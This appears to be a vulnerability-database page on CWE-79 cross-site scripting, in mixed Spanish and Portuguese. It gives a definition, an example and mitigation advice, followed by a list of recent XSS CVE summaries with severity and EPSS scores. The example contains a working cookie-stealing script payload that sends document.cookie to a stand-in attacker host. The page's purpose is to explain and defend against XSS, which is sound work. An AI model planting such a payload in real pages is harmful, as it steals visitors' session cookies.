Fallos del tipo CWE-79

30.522 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-53482MEDIUMIPInfo: Message key XSS through several IPInfo messages in infobox and popupEPSS 0.2%CVE-2025-43771MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in the Notifications widget in Liferay Portal 7.4.3.102 through 7.4.3.111, and Liferay DEPSS 0.2%CVE-2025-36563MEDIUMReflected cross-site scripting vulnerability exists in multiple versions of PowerCMS. If a product administrator accesses a crafted URL, an EPSS 0.2%CVE-2021-47725MEDIUMSTVS ProVision 5.9.10 Authenticated Reflected Cross-Site Scripting via Files ParameterEPSS 0.2%CVE-2025-6378MEDIUMResponsive Food and Drink Menu <= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via display_pdf_menus ShortcodeEPSS 0.2%CVE-2025-20328MEDIUMA vulnerability in the user profile component of Cisco Webex Meetings could have allowed an authenticated, remote attacker with low privilegEPSS 0.2%CVE-2025-13744HIGHImproper Neutralization of Input During Web Page Generation vulnerability was identified in GitHub Enterprise Server that allowed rendering of malicious HTMLEPSS 0.2%CVE-2026-25133MEDIUMOctober CMS has Stored XSS via SVG Filter BypassEPSS 0.2%CVE-2025-67723MEDIUMDiscourse vulnerable to stored Cross-site Scripting via Katex in discourse-math pluginEPSS 0.2%CVE-2025-4284MEDIUMReflected XSS in Rolantis Information Technologies' AgentisEPSS 0.2%CVE-2025-20356MEDIUMCisco CyberVision Center Sensor Explorer Stored Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2026-121515MEDIUMFV Flowplayer Video Player <= 7.5.56.7212 - Unauthenticated Stored Cross-Site Scripting via Comment ContentEPSS 0.2%CVE-2025-43787MEDIUMA Stored cross-site scripting vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q3.0, 2025.Q2.0 through 202EPSS 0.2%CVE-2026-2029MEDIUMLivemesh Addons for Beaver Builder <= 3.9.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' and 'value' Shortcode AttributesEPSS 0.2%CVE-2025-53121MEDIUMStored XSS in multiple 33.0.8files in opennms/opennmsEPSS 0.2%CVE-2025-52782HIGHWordPress Scroll UP plugin <= 2.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-53488MEDIUMStored XSS in WikiHieroEPSS 0.2%CVE-2026-0563MEDIUMWP Google Street View (with 360° virtual tour) & Google maps + Local SEO <= 1.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'wpgsv_map' ShortcodeEPSS 0.2%CVE-2025-50869MEDIUMA stored Cross-Site Scripting (XSS) vulnerability exists in the qureydetails.php page of Institute-of-Current-Students 1.0, where the input EPSS 0.2%CVE-2025-41439MEDIUMA reflected cross-site scripting vulnerability via a specific parameter exists in SLNX Help Documentation of RICOH Streamline NX. If this vuEPSS 0.2%